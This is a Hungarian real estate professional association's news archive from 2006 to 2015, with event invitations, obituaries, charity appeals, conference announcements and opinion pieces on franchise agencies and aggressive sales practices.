|  | 

Archívum2006-20015

Archívum 2006-2015

 

Az archívumban 2006-tól 2015-ig a hírek egy részét másoltuk be.



 

 


Szeretem vagy nem szeretem a com-ot?

Van egy ingatlanos hirdetési oldal, generic az ingatlanosokat versenyeztet? magas áraival, prostate könyörtelen üzletpolitikájával szemben id?nként felhorgadnak az érzelmek, store majd minden megy tovább.

Pár napja egy petícióhoz kapcsolódó körkérdés járja az országot, melyben olyan kérdések vannak megfogalmazva, amire nehéz nemmel válaszolni.
ki az er?sebb?

Hosszú évek óta figyelhetem az ingatlan.com m?ködését.
Mondhatni, hogy egy garázsból indultak, mire eljutottak a vadkapitalizmus országában elérhet? legrangosabb ingatlanos hirdet? helyére.
Mivel piacvezet?, ezért sajátosan szabja meg az árakat, teheti, hisz a gy?ztes mindent visz.
Megkerülhetetlen, eddig nem akadt egyetlen komoly versenytársa sem, magasan minden ingatlanhirdetési portál fölött áll. Kapitalista, minden szempontok legfontosabbika, hogy a hirdet? nélküle el se bírja képzelni az életét.

Tovább>>>  http://www.munkakozosseg.hu/wall/item/3200

 

 

2015:

 


Gyászhír:
Ezúton szeretném tájékoztatni az ingatlanszakma képvisel?it, hogy dr. Lévai Jen? – Jen? bácsi –, aki sokat tett az ingatlanszakma elismertsége érdekében, életének 87. évében, november 24-én elhunyt. Kérésére sz?k családi körben a minap búcsúztatták el.

Dr. Sajtós Gábor
BME Mérnöktovábbképz? Intézet
——————————————————————————————-

Dr Lévai Jen? a MIÉSZ tiszteletbeli elnöke halálát megrendülve fogadtuk. Családja gyászában osztozunk, nyugodj békében, Jen? bácsi!

————————————————————————————-
Idézzünk fel egy 2008-as emléket:

Ingatlanszakmai életm?díj 2008

Budapesten, a Márványmenyasszony étteremben a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete több ingatlanszakmai szervezet egyöntet? javaslatára a 2008-as Ingatlanszakmai Életm?díjat Dr. Lévai Jen?, a Budapesti M?szaki Egyetem Mérnöktovábbképz? Intézetének nyugalmazott egyetemi tanára részére adta át.
A díjazott – akit azóta egyesületünk tiszteletbeli elnökeként is láthatunk – nagy szerepet vállalt a hazai ingatlanszakmai élet kialakításában, az értékbecslés és a közvetítés oktatásában, az igazságügyi szakért?i képzésében.
Kiváló szakmai tudásának és az emberi tartásának köszönhet?en elismertséget élvez hazánkban és külföldön is egyaránt.

– See more at: http://www.munkakozosseg.hu/wall/item/3067#sthash.1wc8bPzu.dpuf


 


 

Minden évben gondolunk a rászorulókra. Az idén is az Európai Sorstársak KHE szervezéséhez csatlakozva a Bárka színház el?tt, az Üll?i u. 82 alatt  Nemzetvédelmi Minisztérium támogatásával a Közszolgálati Egyetemnél csatlakozunk az ételosztáshoz.
Tudsz segíteni, ha eljössz személyesen, ha olyan kapcsolatod van, amely élelmiszergyártó, forgalmazó és segít, vagy amely cég anyagi támogatással tud segíteni, ha magad is támogatod bármivel, akár egy csomag cukorkával a sorbanálló kisgyerekek részére, a lényeg a segíteniakarás.

ételosztás tiszti növendékekkel

Aki eljön, annak kicsit megváltozik az élete, ez után másképp néz a nélkülöz?kre.

Várunk minden segít? kezet, a MIÉSZ vezet?sége nevében: Békési Béla

Ha támogatnád, az alábbi számlaszámon megteheted, tüntesd fel a célt.

Axa Bank 17000019-11741725 MIÉSZ

vagy személyesen:  Európai Sorstársak KHE, 1086 Budapest,
Dobozi u. 7-9. fsz. 3.

Ételosztás info: 0620 9283 266

Továbbiak: http://www.munkakozosseg.hu/wall/item/3074  


 

December 3-án Ingatlanmikulás

 

Meghívó Ingatlanmikulás Estre a Stexbe

 

Sokan kérdezték, mikor lesz megint egy kötetlen találkozónk a Stexben.

Egy jóíz?, beszélgetésekkel teli találkozónk.

Jó hírem van! December 3-án csütörtökön a Stexben eljön hozzánk a Mikulás!

Várunk mindenkit, aki eddig is eljött és akik még nem voltak, azokat is örömmel látjuk.

Belép?díj nincs, a saját fogyasztását fizeti mindenki.

Az esten egyetlen félhivatalos program van, melynek témája:
Organikus házak, energiatakarékos építészet és a lélekjobbító környezet kialakítása…

Egy olyan nem hétköznapi építész látogat meg és tart interaktív el?adást, akit már láthattunk a médiákban, alkotásait csodálhattuk, most személyesen is beszámol nekünk munkájáról és arról, szerinte merre kellene haladni az építészetnek.

A csodálatos téma el?adása után kis m?sorral kedveskedünk, továbbiak>>> http://www.munkakozosseg.hu/ 


 

Francishe rendszerek – Kis irodák: 1-0. 

Meghívó egy bográcsozásra – kis irodák egymás között… Szervez?k: Eötvös Bea, Korpos Anna.

Bea                           Anna

Közösséger?sít? bográcsozás Agárdon!

Találkozó ideje: E hét csütörtök, 09. 24. 14 óra, azaz délután két óra.

helye: Agárd. Mikszáth Kálmán u.13.fsz.1

Olyan régen találkoztunk, kicsit felgyorsult az id? körülöttünk, de nagyon hiányzik mindenkinek a találkozás. A MIK- listán, az 5×5-ön és a Facebookon a Munkaközösségben látjuk néha egymást, közösen dolgozunk, de kell egy kis közös program is 🙂

A találkozókon érdekes mód nem mindig a hivatalos program a f? attrakció hanem az utána történ? kötetlen beszélgetés.

Ismert pszichológia tény, hogy egy beszélgetésben a beszélgetés utolsó pár mondata a legérdekesebb, a találkozóinkon is ezt tapasztaltuk, mindig izgalmas volt a végén a beszélgetés.

 

A bográcsozás két témája:

 

  • Pénzmosás elleni szabályzat – mire jó, mennyi a büntetés, ki készítse el nekünk, mit tartalmazzon…
  • Mint kis cég, vagy egyéni vállalkozó hogyan élem meg a francishe monopóliumok kialakulását, tapasztalatok és lehet?ségek.
  • És a kötetlen beszélgetés közben – vacsora
    – sült csirke,  saláta
    – köröm pörkölt: csalamádé

– sütemény: házi pogi, meg amit a résztvev?k hoznak, örömmel vesszük, ha hozzájárultok saját finomsággal, itallal a találkozóhoz.

Bográcshely

Találkozó ideje: 2014 09. 24. 14 óra

helye: Agárd. Mikszáth Kálmán u.13.fsz.1 Térkép: https://goo.gl/XtTeKf

Megközelítése:

–Pest fel?l: 70-es úton elhagyom Gárdonyt, Következik Agárd, az els? ( és utolsó) rend?r lámpánál balra, Zichyújfalú fel, a Gárdonyi Géza úton. A 13-as kióméter táblánál jobbra a Csongor utca, mely a Mikszáth Kálmán utcába torkollik. Balra fordulok, és már meg is állok. A sarki 4 lakásos társasház a 13. szám

— Balaton fel?l: a 70-es úton befutunk Gárdonyba. A rend?r lámpánál jobbra a Gárdonyi Géza utcára fordulok, a 13-as km.táblánál jobbra a Csongor utca, melynek vége a Mikszáth Kálmán utca. Bal oldalon a sarkon az els? ház a 13.szám.


 

Hogyan tudsz megyezni a bankokkal?
Hogyan tudsz ügyfelednek nagyot segíteni, akár az életét is megváltoztatni?

Mini konferencia az Erzsébet körúton 2015 juli 16-án, du 15 órakor.

A legtöbb hitelnél van némi mozgástér, ami a teljesen reménytelennek t?n? helyzetekben is megoldást adhat.

Igen érdekes, amikor a jog eszközeit épp a bankokkal szemben alkalmazva sikerül olyan megegyezésre jutni, ami a terheket felszabadítja, megoldja, akár pereskedés nélkül is.

El?adónk -akinek a személyét a helyszínen fedjük fel – még azok számára is hasznos információkat ad, akik lelkiekben már feladták.
tovább>>>http://munkakozosseg.hu/wall/item/2568


Organikus ingatlanközvetítés… a jó és a rossz harca???

Negyedszázada közvetítek. 
Azóta keresem a magyarázatot az ingatlanpiaci jelenségekre, buktatókra.

Az ingatlanközvetítés mérsékelt anyagi befektetést igényl?, de hihetetlen sok munkát kívánó foglalkozás, ezért a szerencsevadászok, vagy a kevésbé kitartóak legtöbbször csak belepiszkítanak, részsikerek után ugyanolyan lendülettel kilépnek, majd id?nként visszatérnek, alkalomadtán szemrebbenés nélkül ingatlanosnak mondván magukat…

A nagyobb cégeknél hatalmas a lemorzsolódás, szinte félelmetes, hogyan találnak újra és újra lelkes kollégát, akit hamarosan újabbak követnek.

ha meg szeretné nézni a képet, kérjük, engedélyezze a megjelenítését! -mézet, vagy csípést?

És itt húzódik a határvonal: a nagy cégeknél a változó munkatársakra visszatér? panasz: nem ismerik az eladandó ingatlant… hosszú évek tapasztalatai alapján állítom, hogy azt az ingatlant, amit nem mi vettünk fel, amit nem láttunk, akinek a tulajdonosával nem volt beszélgetésünk, azt sokkal kevésbé tudjuk ajánlani… viszont némi pótcselekvéssel, a hatékony, dörzsölt és tanult értékesítési technikákkal ezt át tudják a nagy cégek hidalni.

A kis irodák személyesen, névr?l ismerik>>> tovább

 

 


 

Szerettem volna egy szép nekrológot írni Tilk László Gézáról, el is kezdtem, de nem megy. Megkértem Seötér Ágit és Bíró Zsófit, hogy nagyon közeliként írják meg, mint MIÉSZ nekrológot, de el?tte pár sor el?szó gyanánt…

Ellentétes dolgok feszülnek bennem: mit is írjak… 
-azt, amikor megjelent egy üveg whiskyvel és blazírtan annyit mondott: -szia, Béla. Tilk vagyok..
-vagy azt, amikor annyira belémvágott, hogy hajnalig az ágyban egy nemlétez? bíróság el?tt védtem magam vele szemben?
-vagy azt, amikor a MIÉSZ megalakulásakor a kezemet fogta és segített?
-vagy azt, amikor sért?en kioktatott, kinek hol a helye?
-vagy azt, amikor kisfiamat gitározni tanította?
-vagy azt, amikor elérzékenyülve magához húzta a rotimat, hogy a világbéke nevében megcsókolja? és az arcon harapta, – tovább a bejegyzéshez>>>>
Tilk Lámpás ember 

http://munkakozosseg.hu/wall/item/2314

 

 


 

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete közgy?lése 2015 05 28-án

Budapesten, az Erzsébet krt 44-46 alá várjuk sok szeretettel tagjainkat.


 A Közgy?lés kezdete 18 óra

Ha nem határozatképes a Közgy?lés, 18 óra 10 perckor megismételt Közgy?lés.

-„ Határozatképtelennek min?sül? közgy?lés esetén a változatlan napirenddel összehívott, megismételt közgy?lés akkor határozatképes, ha azon legalább tíz tag részt vesz. Amennyiben a meghívott tag nem tud jelen lenni, úgy a szavazatát és saját elképzelését nem tudja érvényesíteni, a megismételt közgy?lés a megjelentek számára való tekintet nélkül határozatképes lesz az eredeti napirendekben szerepl? kérdésekben. Ha a megismételt közgy?lés létszáma nem elegend?, 2/3-os többséghez kötött kérdésekben nem dönthet.”

            >>>>Folytatás: https://munkakozosseg.hu/


 

 

Kedves Kollégák!

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete és a Magyar Ingatlanklub közös szervezésében e hét csütörtökén (február 26-án) az év els? találkozóját tartjuk.
Helyszín: Stex étterem !!! Ne feledjétek, most nem a BKIK-ban!

Figyelem, mindenkinek fontos lehet, mert komoly, a szakmai életben különleges dolgokról lesznek el?adások.   >>>folytatás a pályázat alatt…

Pályázat!

Pályázz a legjobb, legmeredekebb, legmeghökkent?bb ingatlanos sztorival !
3. díj: 5 000,- Ft egy profi cikk díjazása
2. díj: 10 000,- Ft prémium cikk díjazása
1. díj: 15 000,- Ft gy?ztes cikk díjazása részletek>>>>

Szeretnénk b?víteni a MIÉSZ vezetését szervez?képes, vagy lelkes, vagy egy-egy témában kiemelked? felkészültség?, vagy informatikában jártas kollégákkal, akik szeretnének tenni valamit a szakmáért, közösségért, szeretne a médiában szerepelni, tanácsadást vállalni. >>> tovább


A csütörtök esti találkozó melyre szeretettel várunk mindenkit, ingyenes (a saját fogyasztását ki-ki fizeti)

18 00-tól

  1. Köszönt?

  2. Dr Sztranyák József :Az idei év várható tendenciái valamint az ingatlanosokra vonatkozó változások bemutatása
    Sztranyi

  3. Kiváló, ismert el?adó, érdemes meghallgatni!!
    Facebook az ingatlanközvetítés új lehet?sége – a közösségi felületek jelent?sége.
    El?adó:Lévai Richárd marketingszakember, a  Közösségi kalandozások c könyv szerz?je, marketing szakért?, a http://facebooktippek.hu oldal tulajdonosa, nyakig a marketingben >>> http://goo.gl/prLB8n 

    FBmarketing

Milyen legyen az FB marketingünk?  Csoport, vagy oldal, személyes, vagy céges…

>>>> Tovább a teljes meghívóhoz: https://munkakozosseg.hu/wall/item/1638

 


 

Kedves Kollégák!
Segítsetek ötletekkel, milyen nemes célt támogassunk!
A 2015-ös évben még nincs eldöntve, kit támogatunk.
Elég sok karitatív munkát végzünk, a legváltozatosabb formában,
afrikai kisgyerek örökbefogadásától
erdélyi kislány tanulmányi költségeinek fizetése,
árvíznél újjáépítésekben való aktív részvétel,
szeretetcsomagok megtöltése és odajuttatása,
beteg kollégáink segítése,
ételosztás rászorulóknak,
és még számos egyéb dologban igyekeztünk segíteni, ezeknek jó visszhangja volt a szakmában , sajtóban és szárnyalt a lelkünk.
Az idei évben szintén >> tovább a teljes íráshoz>>


karitatív munka

 


 

 

A mai konferencia programjai:
Kedves Hölgyeim és Uraim!

Társasházak: – visszaélések, büntet?ügyek, kibogozhatatlan tartozások,  döntésképtelen közgy?lés, perlekedési kényszeres lakók, máig bejegyezhetetlen épületek, épület-felújítások, energiahatékony beruházások,  terrorizált szomszédok, kasszával lelépett  közös képvisel?k, pénzügyi átláthatatlanság, zavar, anarchia, káosz…

 Ezek a fogalmak jutottak eszembe, amikor megkerestek egy konferencia ötletével. 

A társasházak témaköre a jog, az épít?ipar, a szolgáltatások, b?nügyek állatorvosi lova.

 Éget? problémák.éget?

A társasházak felügyelete a jegyz?khöz került, ezzel számos újabb ráncot varázsolva a megkínzott jegyz?k homlokára, nem volt egyöntet? az ujjongás egyik fél részér?l sem.

A nagyobb önállóság és feladatvállalás terén ez újabb terheket rótt az önkormányzatok „vállára”, ami több visszajelzés alapján megoldás is lehet a legtöbb problémára.

Bár tájékoztatókban nem volt hiány, azt tapasztaltuk, hogy bizonyos kérdések még mindig és újra el?jönnek, hisz egy jegyz? munkája annyira sokrét?, hogy nehezen követhet? minden rezdülés…

A konferenciánk a gyakorlati megoldásokat, életb?l vett példákat mutatja be, ismert szerepl?k el?adásában.

A konferencia csütörtökön, 22-én, Budapesten lesz.

Várjuk Önöket, érdekes lesz!

 Tiszelettel:

Békési Béla

elnök

MIÉSZ


Meghívó

,,Hatósági jogkör gyakorlása társasházak 
és lakásszövetkezetek életében’
 
Országos Konferencia

logo
Budapest, 2015. január 22.

 Tisztelt Hölgyem! Tisztelt Uram!
Hiánypótló konferenciára hívjuk Önöket: a társasházak, lakásszövetkezetek m?ködése hosszú évek óta esetenként kriminalizálódott, néhol ellehetetlenült, másutt kaotikus helyzetek alakultak ki.
Ezt örökölte jogszabály alapján a jegyz?i apparátus, ami egyrészt egy sor újabb terhet tett szegény közszolgáink nyakába, másrészt kialakult gyakorlat híján minden fél számára meglepetéseket tartogatott.
Bízva abban, hogy a feladatot egyre professzionálisabban tudja megoldani az adott település jegyz?je, konferenciánkkal a társasházak képvisel?it és a jegyz?ket szeretnénk megismertetni bevált megoldásokkal, az együttm?ködés lehet?ségeivel és a jogszabályok értelmezésével.

Továbbiak>>>


 


 

Találkozónk 2008 -óta ismét Veszprémben -Nyugat – Dunántúl…
2014 12 11.

Nyugaton a helyzet változatlan?

2008-ban, 6 éve találkoztunk Veszprémben. Most ismét eljött az id?, hogy átnézzük, mi változott azóta…

  • Megmaradás, fejl?dés – alternatívák…Ingatlanpiaci verseny Nyugat-Dunántúlon.
  • Együttm?ködések, közösségek, közös munka
  • Internetes újdonságok, trükkök, több lábon állás
  • Beszélgetések, kérdések, válaszok, ismerkedés…

veszprém

2008 májusában szerveztünk találkozót utoljára Veszprémben.  Gy?rt?l Zalaegerszegig, Nagykanizsáig, a Balaton északi partjáról is voltak kollégák. Nagyon kedves társaság jött össze, a kaja is finom volt és új kapcsolatok születtek

Azóta sok dolog megváltozott és az élet megy tovább…

Mindenkit mélyen érintett az utolsó veszprémi találkozásunk utáni bed?lés, ki-ki igyekezett alkalmazkodni, másképp dolgozni…

A mai helyzetr?l beszélgetünk, a lehet?ségekr?l, a közös munkáról és a várható jöv?r?l.

Szeretettel várunk mindenkit Veszprémben, bárhonnan az országból 2014. 12. 11.-én a Pannónia étteremben, 18 órától

Cím: 8200 Veszprém, Virág Benedek u. 4.

Térkép: http://goo.gl/LLqWLT

Várunk mindenkit, a részvétel ingyenes a fogyasztását mindenki saját maga rendezi.

Üdvözlettel: MIÉSZ vezet?ség

 



Kedves Kollégák!

Két hírt szeretnénk megosztani veletek.
Az egyik a legelterjedtebb kommunikációs eszköz, az e-mail közelg? végér?l, a másik a novemberi fórumunkról, a havi szakmai rendezvényünk témáiról szóló  meghívó.

Részletek: https://munkakozosseg.hu/wall/item/984 
https://munkakozosseg.hu


  • Havi fórumunk a BKIK székházban 2014 nov. 27-én 18 30.kor
    Témák:

 

  • Maradj talpon! Az összefogás ereje tiszta, átlátható módon, kedvelt és szeretett kollégákkal!
  • Mi a Pinterest? MI a v-kontakt? A közösségi hálók és médiák szerepe az ingatlanközvetítésben. 
  • Ha vállalkozásod telephelye túl költséges, költözz össze egy megbízható kollégával! Összefogás és közös irodamegoldások! Az esten konkrét lehet?ségek!
    Nem könny? egy megfelel?en lelkes, összetartó brigádot összehozni…Esettanulmányok, történetek…
  • Id?pont: 2014. november 27-én a BKIK székházban este 18 30-kor. helyszín:http://www.bkik.hu/8-Kapcsolat

 

Nézz körül: adatbáziskezelés>>>     adj fel egy ajánlatot!>>>      védjük adataidat!>>>


Az e-mail halála…

 e-mail vég..Míg Colombó -Falk Miska állítólagos dédunokája – a faxnál érezte a hiperszuper technika csúcsait, addig mára már az e-mailek is egyre inkább háttérbe szorulnak.

Miért??? Olvasd tovább:>>> https://munkakozosseg.hu/wall/item/984

https://munkakozosseg.hu

 

 


 

  • Mennyire er?sek a franchise cégek, van-e megoldás mellettük megélni a piacon?
  • Munkalehet?ség: Junior értékbecsl?t keres nemzetközi cég
  • Találkozó 2014 november 27-én a BKIK székházban

 

Mennyire er?sek a franchise cégek, van-e megoldás mellettük-velük megélni a piacon?

A MIÉSZ a kisvállalkozói szektor védelme érdekében megvizsgálta a franchise cégek gyakorlatát.

Az alapkérdés a „pénzt keresni” és a „pénzt keresni minden áron”  közötti különbség. Szervezetünk az eltelt évek alatt valahogy úgy alakult, formálódott, hogy azok maradtak meg akik viszonylag egyszer? módon, kis irodaként dolgoztak és dolgoznak.

Trójai tehén

Az élet a franchise cégek megjelenése el?tt is tele volt meglepetéssel, de ahogy bejöttek, megérkezett velük együtt egy nagyon er?s, dinamikus értékesítési technika, mely kegyetlenül átgázolt a hétköznapi vállalkozói körön, számos keser? tapasztalatot szerezve ezzel az egyszer? és hiszékeny  kisvállalkozóknak…  >>>tovább>>>


Munkalehet?ség: Junior értékbecsl?t keres nemzetközi cég
értékbecsl?Ügyfélközpontú vagy és szereted az igényes szakmai munkakörnyezetet?

A HR Partner Consulting keres nemzetközi tanácsadó ügyfele számára

elkötelezett szakembert az alábbi pozícióba:

Ingatlan értékbecsl? – tanácsadó

Feladatok, felel?sségi kör:

? Piackutatás, elemzések készítése, riportírás

? Ingatlanértékelések el?készítése és lefolytatása, komplex projekt management

? Következtetések és eredmények összegzése, prezentálása…   >>> tovább

 


Találkozó november 27-én a BKIK székházban
Tervezett témáink: 

  • Hogyan védhetjük meg szerz?déseinket a „lenyúlástól?”
  • Mi a Pinterest? MI a v-kontakt? A közösségi hálók és médiák szerepe az ingatlanközvetítésben.
  • Ha vállalkozásod telephelye túl költséges, költözz össze egy megbízható kollégával! Összefogás és közös irodamegoldások! Az esten konkrét lehet?ségek!
  • Maradj talpon! Az összefogás ereje tiszta, átlátható módon, kedvelt és szeretett kollégákkal!

Részletek a meghívóban hamarosan!    Id?pont: 2014. november 27-én a BKIK székházban http://www.bkik.hu/8-Kapcsolat  este 18 30-kor.
Az est támogatója az Ingatlan Munkaközösség www.munkakozosseg.hu

Nézz körül: adatbáziskezelés>>>     adj fel egy ajánlatot!>>>      védjük adataidat!>>>

 


Csapdahelyzet –  Amikor már nincs is szégyenérzet… Ingatlanközvetít??

Tudom, hogy ?skövületnek néznek többen, tudom, hogy másokat ez nem rendít meg. Ilyen a mai világ, ilyen az üzlet…

Mégis elkeserít?, hogy ilyen történetekkel kell találkoznunk.

Nagyon rossz az ingatlanosok megítélése, sajnos egyesek hiénamódszerekkel is dolgoznak és nap-nap után megdöbbent? nyíltsággal vállalnak fel méltatlan helyzeteket.

Úgy gondolom, hogy a történet szinte sablonszer?en arról szól, hogy betegye a lábát a közvetít? az ajtónyílásba és ha már ott van, bármi is megtörténhet.

Íme a történet:

Drexler Istvánkérjük engedélyezze a kép megjelenítését
Ma, 13:27

Kedvenckéim!

Csapdába estem! Azt gondolná az ember, hogy az ilyen el?bb születettekkel nem fordulhat el?. Persze én vagyok a hibás, miért vagyok ennyire bizakodó.
Történt, hogy a szokott hirdetési oldalon, egy 12. kerületi 300 milliós lakást hirdetek. Természetesen részletes leírás, utca, emelet, de küls? fotó nélkül.
Persze azon a környéken csak egy több emeletes ház van, így ha valaki nagyon akarja megtalálja. A tulajdonossal igen jó viszonyt ápolok, így nem féltem.
Tegnap hív a tulaj, hogy jelentkezett nála a Luinde ingatlanirodától valaki, hogy van vev?je és szerz?dést kötne, mert látta a comon a hirdetésemet.
Most mit csináljon? Mondom felhívom az ingatlanirodának a tulaját, Becze Istvánt és beszélek vele. A srác az egyik franchise irodánál dolgozott, de most önálló.
Kérdezem, hogy miért nem akar együtt m?ködni? Hát ? akar, de csak ha én hozom a vev?t és ? ossza a jutalékot. De így, hogy ? hozza vev?t nem.

Kérdezem, hogy mi van a becsülettel? Hát ? most ezt így gondolja, lelop, beazonosít>>> tovább

https://munkakozosseg.hu/wall/item/692


 

Meghívunk a kamarai el?adásra,BKIK, 2014 okt 22, szerda este.

A jó bornak is kell a cégér!


Az Ingatlan Munkaközösség segítségével hogyan tudod kihasználni a közösségi  hálózatok nyújtotta lehet?ségeket?

Els?ként a Google AdWords mai léptékkel hagyományos lehet?ségeit mutatjuk be, el?adó Vojcskó János veszprémi kollégánk, aki cégkivonatok szolgáltatásával is foglalkozik, amely szolgáltatás m?ködtetéséhez a Google AdWords nagyon hasznos tapasztalatokat adott.
Turbo
A második részben a közösségi hálózatok még kevésbé kiaknázott lehet?ségeit mutatjuk be, kiemelten az Ingatlan Munkaközösség részére elérhet? összetett felhasználások lehet?ségeit.

Az Ingatlan Munkaközösség webes felületébe beépül? legújabb fejlesztések  néhány éve még nem m?ködhettek volna, ezért érdemes próbálgatni és a látszólag egyszer? oldalt mélységéig megismerni – erre van lehet?ség a próba-verzióban.


Az internetes világban rejl?, naponta megújuló „kék óceánok” kihasználása – velünk másképp… Hogyan kerüljük el a véres küzdelmekkel  tele >>>>tovább www.munkakozosseg.hu


 

Ingatlanos legyen-e a fiam??? Körkérdésre válaszok

Egy cikkhez kellett néhány adat és szembesültünk azzal, mennyi jó válasz jött és ezek ma is aktuálisak, így közzéadom ?ket, kicsit összefolynak de nagyon ?szinte válaszok, korrajz, lenyomat… Legyen-e ingatlanos a gyermekem?

 Íme:
-Informatikususoké a jöv?, de ha agya lenne gyermekemnek mikorbiológus is lehetne. Egyébként ha nem neveltük volna becsületesnek, nagyon sikeres politikus lenne. Rengeteget beszél és mindig azt mondja, amit hallani szeretnél.
-Az unokám, aki ügyvédnek készül .ha akkor lesz kedve átveheti a család nevével jelzett vállalkozást remélve azt hogy addig változik a politika.
-Mindenképpen valami pénzügyi területet
-maradjon az ingatlan környezetében, de ne építsen rá teljesen
-Nem az ingatlanozást …
-Javasolnám ezt a szakmát. Lesznek még harcok, de ha valaki jól csinálja, akkor lehet bel?le jöv?t építeni.
-ingatlanközvetítést f?állásban nem
-Próbálja meg, látta a mit robotolok


 

Testületünk a beérkezett panaszokat kivizsgálja.  info@miesz.hu

 

Ha be szeretnél lépni a MIÉSZ-be

Olvasd el:
Mit nyújt a MIÉSZ?>>>>
info@miesz.hu, 0036 20 9283 266

 

Ha szeretnél a következ? rendezvényekr?l id?ben információt kapni, kattints az alábbi linkre:

http://miesz.hu/miesz/hirlevel/7718>>>

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete és a Magyar Ingatlanklub közös szervezésében e hét csütörtökén (február 26-án) az év els? találkozóját tartjuk.

A programról részletesen>>>

 

Konferencia 2015-  Beszámoló, fotókkal

Hatósági jogkör gyakorlása társasházak és lakásszövetkezetek életében

http://miesz.hu/miesz/rendezvenynaptar/3620

 

Társasházak: – visszaélések, büntet?ügyek, kibogozhatatlan tartozások,  döntésképtelen közgy?lés, perlekedési kényszeres lakók, máig bejegyezhetetlen épületek, épület-felújítások, energiahatékony beruházások,  terrorizált szomszédok, kasszával lelépett  közös képvisel?k, pénzügyi átláthatatlanság, zavar, anarchia, káosz…

 

Ezek a fogalmak jutottak eszembe, amikor megkerestek egy konferencia ötletével.
A társasházak a jog, az épít?ipar, a szolgáltatások, b?nügyek, stb állatorvosi lova.

 

A társasházak felügyelete a jegyz?khöz került, ezzel számos újabb ráncot varázsolva a megkínzott jegyz?k homlokára, nem volt egyöntet? az ujjongás egyik fél részér?l sem.

A nagyobb önállóság és feladatvállalás terén ez újabb terheket rótt az önkormányzatok „vállára”, ami több visszajelzés alapján megoldás is lehet a legtöbb problémára.

Bár tájékoztatókban nem volt hiány, azt tapasztaltuk, hogy bizonyos kérdések még mindig és újra el?jönnek, hisz egy jegyz? munkája annyira sokrét?, hogy nehezen követhet? minden rezdülés…

A konferenciánk a gyakorlati megoldásokat, életb?l vett példákat mutatja be, ismert szerepl?k el?adásában.

A konferencia csütörtökön, 22-én, Budapesten lesz.

Várjuk Önöket, érdekes lesz!

Részletek, jelentkezés:>>  http://munkakozosseg.hu/wall/item/1396

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Meghívó:Találkozó november 27-én a BKIK székházban

  • Mennyire er?sek a franchise cégek, van-e megoldás mellettük megélni a piacon?
  • Munkalehet?ség: Junior értékbecsl?t keres nemzetközi cég
  • Találkozó november 27-én a BKIK székházban

 Tovább>>> http://miesz.hu/miesz/rendezvenynaptar/3614 

Eljárás az OC és a DH ellen…

 

Monty Python: Hogyan védekezzünk friss gyümölcs ellen c. komédiája jutott eszünkbe, amikor  a Versenyhivatal  az Otthon Centrum és a Duna House ellen eljárást volt kénytelen indítani.

A vád szörny?, a várható büntetés magas: egyeztették a jutalékaik mértékét, ezáltal egyre er?sebbekké válnak a piacon.

Holott ezért nem megbüntetni, hanem kitüntetésben illene részesíteni ?ket, törvénybe iktatni, mivel ez végre egységesítené az ingatlanközvetít?k m?ködésének legalább egy pontját.

Egységes jutalék – egységes alapkövetelmények.

A  fenti cégeket másért nem szeretik, de legyünk igazságosak: ami az egész társadalomnak megoldás egy problémára, azért ne feszítsenek  meg senkit.

A MIÉSZ javaslata továbbmutat:

  • jelenlegi helyzet rögzítése
  • társadalmi és szakmai igények felmérése
  • javaslat a teljes rendszer törvényi hátterének biztosítására, egységes alapkövetelmények, személyi, tárgyi , szakmai feltételek meghatározása, a javaslat szerinti rendeletek  ellen?rzése  – és be nem tartás esetén a retorzió leírása
  • törvények elfogadása
  • az elfogadott  törvényeken alapuló  (annál szigorúbb) m?ködés etikai  megközelítése
  • szakmai szervezetek közös etikai kódexe

Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete

 

 

Közgy?lés 2014 06 21

Meghívó

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete közgy?lését 2014 06 21-én szombaton tartja.
Balatonbogláron, a Balatonboglári Borgazdaság volt központi telephelyén, a Bárány kúria gyönyör? falai közöttvárjuk sok szeretettel tagjainkat. (8630 Balatonboglár, Szabadság u. 27) térkép: https://goo.gl/maps/uojFI

Természetesen mindenkit várunk, azokat is, akik még nem tagjaink.
A szavazati jog csak a tagjainkat illeti.
Az étkezés tagjainknak díjmentes.

Egy régóta formálódó, nagy horderej? kérdésr?l lesz a közgy?lés végén szó, ami az országban m?köd? kis, önálló irodák megmaradását t?zte ki célul.

További részletek>>>>>

 

 

 

Május 29, 18 óra.

Májusi fórumunk témái: lenyúlják a szerz?désedet?

Mit lehet tenni?

  1. Szeretettel meghívunk május utolsó csütörtökén, 29-én 18 órára a szakmai estünkre a Stexbe!

A megközelítés a meghívó alján.

Az utolsó szakmai est az ?szi folytatás el?tt.

Az est programjai:
miesz.hu/miesz/rendezvenynaptar/3620 

 

 

Áprilisi fórumunk:
Április 24, Stex étterem különterme, 18 óra

Folyamatosan érkeznek a panaszok az ingatlanközvetít?kre, a panaszosok nem tudják, hogy legalább annyi ingatlanszakembert vezetnek meg a megbízók, mint fordítva.

Az agresszív értékesítés és a sok visszajelzés már túlhaladta azt a szintet, hogy szó nélkül elmenjünk mellette. a “Lenyúlsz, vagy kinyúlsz” c film kiváló példa arra, hogyan m?ködik: https://www.youtube.com/watch?v=gO4zRzVxQEs(részlet)

Sok éve id?szer? egy olyan szakmai  minimum felállítása, amit a kollégák fogódzó gyanánt tudnak használni a napi rutin során.Err?l is szól az áprilisi est.

Részletek: >>>  rendezvénynaptár

 

Agresszív értékesítés

 

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezetéhez egyre több bejelentés érkezik, melyben az ingatlantulajdonosok és a vásárlók a megbízási szerz?dés megkötésére és az értékesítés létrejötte érdekében különböz?, burkolt, vagy nyílt lelki késztetéssel, agresszív hozzáállással próbálják az ügyfeleket számukra értelmezhetetlen, nem jól elmagyarázott vagy el?nytelen szerz?dés aláírására, vagy értékesítésre kényszeríteni.
A MIÉSZ ezt a magatartást teljes mértékben etikátlannak és visszataszítónak tartja, bármilyen szerz?dés megkötése szabad akaratból, nyomás nélkül kell hogy történjen.
Ezúton felkérjük a szakmai szervezeteket, francishe cégeket és a szakma résztvev?it, hogy nyilatkozzanak err?l, valamint arról is, hogy az ilyen eljárásokat nem oktatják és nem támogatják, etikus magatartásuk bizonyítékaként ezeket az eszközöket alkalmazó munkatársaikat, tagjaikat soraikból kizárják.
MIÉSZ 2014 04 08.
